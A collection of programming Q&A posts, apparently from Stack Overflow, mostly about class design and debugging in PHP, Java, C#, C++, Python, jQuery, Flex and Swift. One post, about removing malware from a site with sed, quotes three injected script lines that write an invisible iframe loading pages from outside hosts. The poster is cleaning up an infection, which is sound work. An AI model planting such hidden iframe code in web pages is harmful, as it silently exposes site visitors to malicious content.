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  • Creating a library of classes in php - how to handle the library root location?

    - by jax
    I am about to create a collection of classes in php which are interrelated. Now I would like to include files using their absolute path, ie If I were in '/com/mysite/licences/Generator.class.php' I would like to include files like this: include '/com/mysite/lib/Utils.class.php' I don't want to include like this, I think it is confusing and ugly include '../licenses/Utils.class.php' This works ok, unless 'com' is not in the root of public_html. I assume I will need some sort of prefix to append to each file LIBRARY_ROOT that hold the location of 'com' in the current filesystem. So it might look like this include LIBRARY_ROOT.'com/mysite/lib/Utils.class.php' What is the best way to do this?

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  • Can't declare an abstract method private....

    - by Zombies
    I want to do this, yet I can't. Here is my scenario and rational. I have an abstract class for test cases that has an abstract method called test(). The test() method is to be defined by the subclass; it is to be implemented with logic for a certain application, such as CRMAppTestCase extends CompanyTestCase. I don't want the test() method to be invoked directly, I want the super class to call the test() method while the sub class can call a method which calls this (and does other work too, such as setting a current date-time right before the test is executed for example). Example code: public abstract class CompanyTestCase { //I wish this would compile, but it cannot be declared private private abstract void test(); public TestCaseResult performTest() { //do some work which must be done and should be invoked whenever //this method is called (it would be improper to expect the caller // to perform initialization) TestCaseResult result = new TestCaseResult(); result.setBeginTime(new Date()); long time = System.currentTimeMillis(); test(); //invoke test logic result.setDuration(System.currentTimeMillis() - time); return result; } } Then to extend this.... public class CRMAppTestCase extends CompanyTestCase { public void test() { //test logic here } } Then to call it.... TestCaseResult result = new CRMAppTestCase().performTest();

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  • jQuery: Getting value from input array

    - by betacar
    We have the following form: <form> ... <table width="100%" cellspacing="0" class="datagrid_ppal"> <tbody> <tr> <th scope="row">Area 1 <input name="config_line" type="hidden" value="0,5,50" /></th> <td class="gantt"> </td> <td class="gantt"> </td> <td class="gantt"> </td> ... </tr> </tbody> </table width="100%" cellspacing="0" class="datagrid_ppal"> ... <form> What we need is to get the first, second or third from the hidden input value. We have tried this and didn't work: var value = $('th').children('input:hidden').val(); Can anyone help us? We would really appreciate it.

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  • Why does the VS2005 debugger not report "base." values properly? (was "Why is this if statement fail

    - by Rawling
    I'm working on an existing class that is two steps derived from System.Windows.Forms.Combo box. The class overrides the Text property thus: public override string Text { get { return this.AccessibilityObject.Value; } set { if (base.Text != value) { base.Text = value; } } } The reason given for that "get" is this MS bug: http://support.microsoft.com/kb/814346 However, I'm more interested in the fact that the "if" doesn't work. There are times where "base.Text != value" is true and yet pressing F10 steps straight to the closing } of the "set" and the Text property is not changed. I've seen this both by just checking values in the debugger, and putting a conditional breakpoint on that only breaks when the "if" statement's predicate is true. How on earth can "if" go wrong? The class between this and ComboBox doesn't touch the Text property. The bug above shouldn't really be affecting anything - it says it's fixed in VS2005. Is the debugger showing different values than the program itself sees? Update I think I've found what is happening here. The debugger is reporting value incorrectly (including evaluating conditional breakpoints incorrectly). To see this, try the following pair of classes: class MyBase { virtual public string Text { get { return "BaseText"; } } } class MyDerived : MyBase { public override string Text { get { string test = base.Text; return "DerivedText"; } } } Put a breakpoint on the last return statement, then run the code and access that property. In my VS2005, hovering over base.Text gives the value "DerivedText", but the variable test has been correctly set to "BaseText". So, new question: why does the debugger not handle base properly, and how can I get it to?

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  • conditionally enabling constructor

    - by MK
    Here is how I can conditionally enable a constructor of a class : struct Foo { template<class T> Foo( T* ptr, boost::enable_if<is_arithmetic<T> >::type* = NULL ) {} }; I would like to know why I need to do the enabling via a dummy parameter. Why can I not just write : struct Foo { template<class T> Foo( boost::enable_if<is_arithmetic<T>, T>::type* = NULL ) {} };

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  • Understanding c++ block of code

    - by kotoko
    I was given a c++ main and have to code it so it works. I am having some trouble understanding the code as I am a bit new to cpp. Here is the code int main(int argc, char *argv[]) { Class::setAtribute("string"); Class(Class::CONSTANT) << "starting up..."; } Some questions: How can the first line work with no variables? Is it static? The second line is really strange for me, what I can make out is a Constructor that takes in a class constante and then prints it out somehow? If someone could explain me this bit of code it would be great! Thanks in advance.

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  • How to save to two tables using one SQLAlchemy model

    - by Oatman
    I have an SQLAlchemy ORM class, linked to MySQL, which works great at saving the data I need down to the underlying table. However, I would like to also save the identical data to a second archive table. Here's some psudocode to try and explain what I mean my_data = Data() #An ORM Class my_data.name = "foo" #This saves just to the 'data' table session.add(my_data) #This will save it to the identical 'backup_data' table my_data_archive = my_data my_data_archive.__tablename__ = 'backup_data' session.add(my_data_archive) #And commits them both session.commit() Just a heads up, I am not interested in mapping a class to a JOIN, as in: http://www.sqlalchemy.org/docs/05/mappers.html#mapping-a-class-against-multiple-tables

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  • Trying to create C++/CLI assembly for use in .NET

    - by Bad Man
    I'm trying to bring a C++ library into C#, so naturally I am trying to make a C++/CLI project. In visual studio I created a new project (Visual C++ project, class library). I then tried to make a test class out of the pre-generated "Class1" namespace Test { public ref class TestIt { public: void DoWork() { System::Console::WriteLine("sup"); } // TODO: Add your methods for this class here. }; } So I compile in and go to the build folder.... hrmm no .dll wetf?? There's a .dll.intermediate.manifest file, but no .dll. So wut I did wrong?

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  • Ouch, how to escape this in sed? Cleaning up iframe malware

    - by user1769783
    I'm helping someone clean up a malware infection on a site and I'm having a difficult time correctly matching some strings in sed so I can create a script to mass search and replace / remove it. The strings are: <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script> <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> I cant seem to figure out how to escape the various characters in those lines... If I try to just say delete the entire line if it matches http://vidintex.com/includes/class.pop.php it also deletes the closing "" in the .html files as well. Any help would be greatly appreciated!

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  • Wrapping a Flash/AS3 Sprite as a Flex MXML component

    - by John
    For my game, I am making the main game view as a plain Flash/AS3 class, something like: public class GameArena extends Sprite This is simply a big rectangle in which game objects are drawn, so no need for fancy UI and I want to keep the main game engine Flex-free so I can use Sprites rather than heavier Flex components. However for the entire game/app, I do still want to use Flex for GUI/layout. So I thought I could create a Flex class subclassing UIComponent, which has a GameView object as a child... now I can use this in MXML as a standard Flex component. e.g. public class ArenaView extends UIComponent { public var gameArena:GameArena; override protected function createChildren():void { super.createChildren(); if (!gameArena) { gameArena = new GameArena(); gameArena.width = 200; gameArena.height = 200; addChild(gameArena); } } } Then I have a simple line in my main App MXML like: <logic:Arena x="0" y="0" width="50%" height="100%" name="TestArenaPanel" /> But so far while my code compiles, the Flash class isn't getting rendered. Maybe it's something simple, but I wanted to ask if this is a reasonable approach, or there is something better? BTW: I've had the "should Flex be used" conversation many times. If you want to discuss that please do so in comments, but keep answers on topic.

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  • Vector of objects

    - by Paul
    I've got a abstract class class A { public: virtual void somefunction() = ; }; and some different classes that inherit this class: class Ab { public: void somefunction(); }; etc. I want to make a vector containing some objects of these classes (how many depends on input parameters) so I can access these easily later. However I'm a bit lost on how to do this. My best idea is vector<A> *objectsVector; Ab AbObject; objectsVector.push_back(AbObject); However this gives me a huge amout of errors from various .h files in /usr/include/c++ How should i solve this?

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  • Debug.writeline locks

    - by Carra
    My program frequently stops with a deadlock. When I do a break-all and look at the threads I see that three threads are stuck in our logging function: public class Logging { public static void WriteClientLog(LogLevel logLevel, string message) { #if DEBUG System.Diagnostics.Debug.WriteLine(String.Format("{0} {1}", DateTime.Now.ToString("HH:mm:ss"), message)); //LOCK #endif //...Log4net logging } } If I let the program continue the threads are still stuck on that line. I can't see where this can lock. The debug class, string class & datetime class seem to be thread safe. The error goes away when I remove the "#if DEBUG System... #endif" code but I'm curious why this behavior happens. Thread one: public void CleanCache() { Logging.WriteClientLog(LogLevel.Debug, "Start clean cache.");//Stuck } Thread two: private void AliveThread() { Logging.WriteClientLog(LogLevel.Debug, "Check connection");//Stuck }

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  • Do I always need to rebuild the project containing references to sub project's dll, if sub projects

    - by Puneet Dudeja
    I have a solution containing 4 class library projects and one "web site" project. The web site project contains references to the 3 class library projects, whenever I make changes in any of the class library projects, the only option I see is to rebuild the web site which takes a lot of time. Is there any option that I can only update the dll references and the changes are reflected in the web site project ?

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  • catching erros and exiting

    - by apple pie
    In python, is there a way to exit a class after testing a condition, without exiting out of python? say i have the class class test(): def __init__(self): self.a = 2 def create_b(self): self.b = 3 def does_b_exist(self): if <self.b doesnt exist>: #terminate self.b += 1 try/except` doesnt work since the rest of the program doesnt terminate after failing. im basically trying to catch an error, and do what python does when it shows you errors, but i cant figure out how to do it

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  • jquery: .attr() fails for child element

    - by user984003
    I'm going crazy staring at this. I need to change the attribute of an element, something which I have done many times before. But it fails. Now I can't even get jquery to show me the attribute that it has. Does it have to do with what is returned by find()? var c = new_photo_div.find('[class = photo]')[0]; alert(c); alert(new_photo_div.attr('class')); alert(c.attr('class')); The first alert correctly identifies the element: Object HTMLImageElement The second alert correctly gives me the class of new_photo_div. The third alert fails. No alert. I think it should say: photo

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  • Where do you put non-controller classes in codeigniter?

    - by sprugman
    I've got a class Widgets. Widgets are made up of Doohickies. I'm never going to need to access Doohickies directly via url -- they're essentially a private class, only used by Widgets. Where do you put your code to define the Doohicky class? In /app/controllers/doohicky.php? in app/controllers/widget.php? somewhere else? Obviously, the former seems cleaner, but it's not obvious to me how to make the Doohicky class available to Widget.

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  • How can i access the value of the moving slider in a jquery variable

    - by user1673591
    html <h1>HTML Slider Test</h1> <div class="slider" data-max="10"></div> <p>Your slider has a value of <span class="slider-value"></span></p> <div class="slider" data-max="100"></div> <p>Your slider has a value of <span class="slider-value"></span></p> jquery $(".slider").each(function() { $(this).slider({ value : 1, min : 1, max : $(this).data('max'), step : 1, slide : function (event, ui) { var a= $(this).next().find('span.slider-value').html(ui.value); } }); }); I want the value of the moving slider in a jquery variable

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  • Using classes for the first time,help in debugging

    - by kaushik
    here is post my code:this is no the entire code but enough to explain my doubt.please discard any code line which u find irrelavent enter code here saving_tree={} isLeaf=False class tree: global saving_tree rootNode=None lispTree=None def __init__(self,x): file=x string=file.readlines() #print string self.lispTree=S_expression(string) self.rootNode=BinaryDecisionNode(0,'Root',self.lispTree) class BinaryDecisionNode: global saving_tree def __init__(self,ind,name,lispTree,parent=None): self.parent=parent nodes=lispTree.getNodes(ind) print nodes self.isLeaf=(nodes[0]==1) nodes=nodes[1]#Nodes are stored self.name=name self.children=[] if self.isLeaf: #Leaf Node print nodes #Set the leaf data self.attribute=nodes print "LeafNode is ",nodes else: #Set the question self.attribute=lispTree.getString(nodes[0]) self.attribute=self.attribute.split() print "Question: ",self.attribute,self.name tree={} tree={str(self.name):self.attribute} saving_tree=tree #Add the children for i in range(1,len(nodes)):#Since node 0 is a question # print "Adding child ",nodes[i]," who has ",len(nodes)-1," siblings" self.children.append(BinaryDecisionNode(nodes[i],self.name+str(i),lispTree,self)) print saving_tree i wanted to save some data in saving_tree{},which i have declared previously and want to use that saving tree in the another function outside the class.when i asked to print saving_tree it printing but,only for that instance.i want the saving_tree{} to have the data to store data of all instance and access it outside. when i asked for print saving_tree outside the class it prints empty{}.. please tell me the required modification to get my required output and use saving_tree{} outside the class..

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  • How to know if a std::list has been modified

    - by Nick
    I have this class: class C { public: C* parent; std::list<C> children; }; I can use this class in this way for example: C root; C child; root.children.push_back(child); // or other method of std::list (es: push_front, insert, ...) // Here child.parent is root // How can I set the parent of child? I want to do this work internally to my class without losing the functionality of std::list, is it possible?

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  • C#, Generic Lists and Inheritance

    - by Andy
    I have a class called Foo that defines a list of objects of type A: class Foo { List<A> Items = new List<A>(); } I have a class called Bar that can save and load lists of objects of type B: class Bar { void Save(List<B> ComplexItems); List<B> Load(); } B is a child of A. Foo, Bar, A and B are in a library and the user can create children of any of the classes. What I would like to do is something like the following: Foo MyFoo = new Foo(); Bar MyBar = new Bar(); MyFoo.Items = MyBar.Load(); MyBar.Save(MyFoo.Items); Obviously this won't work. Is there a clever way to do this that avoids creating intermediate lists? thanks, Andy

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  • Copy values from one object to another.

    - by BrokeMyLegBiking
    Anyone have a suggestion for a good utility class that maps values from one object to another? I want a utility class that uses reflection and takes two objects and copies values from the 1st object to the second if there is a public property with the same name. I have two entities that are generated from a web service proxy, so I can't change the parent class or impliment an interface or anything like that. But I know that the two objects have the same public properties.

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  • Has inheritance become bad?

    - by mafutrct
    Personally, I think inheritance is a great tool, that, when applied reasonably, can greatly simplify code. However, I seems to me that many modern tools dislike inheritance. Let's take a simple example: Serialize a class to XML. As soon as inheritance is involved, this can easily turn into a mess. Especially if you're trying to serialize a derived class using the base class serializer. Sure, we can work around that. Something like a KnownType attribute and stuff. Besides being an itch in your code that you have to remember to update every time you add a derived class, that fails, too, if you receive a class from outside your scope that was not known at compile time. (Okay, in some cases you can still work around that, for instance using the NetDataContract serializer in .NET. Surely a certain advancement.) In any case, the basic principle still exists: Serialization and inheritance don't mix well. Considering the huge list of programming strategies that became possible and even common in the past decade, I feel tempted to say that inheritance should be avoided in areas that relate to serialization (in particular remoting and databases). Does that make sense? Or am messing things up? How do you handle inheritance and serialization?

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  • Show a SplashScreenScene before to GameScene?

    - by lisovaccaro
    I want to add a splash screen to my game. I created a SplashScene.sks and a SplashScene.swift file. I'm trying to load my SplashScene before GameScene but I cannot manage to do it. How should I do this? This is what I'm trying now: class GameViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() let skView = self.view as SKView skView.ignoresSiblingOrder = true /* Set the scale mode to scale to fit the window */ var scene = SplashScreenScene() // Present SplashScreenScene first scene.scaleMode = .AspectFill skView.presentScene(scene) } Then on my SplashScreenScene: class SplashScreenScene: SKScene { override func didMoveToView(view: SKView) { self.size = view.bounds.size self.anchorPoint = CGPointMake(0.5, 0.5) var background = SKSpriteNode(imageNamed:"LaunchImage") self.addChild(background) // Start timer to load next scene NSTimer.scheduledTimerWithTimeInterval(1, target: self, selector: Selector("changeScene"), userInfo: nil, repeats: false) } func changeScene() { let scene = GameScene() view.presentScene(scene) } } This is very close to the solution, however for some reason when I do this my game becomes laggy (if I present GameScene directly the game runs fine).

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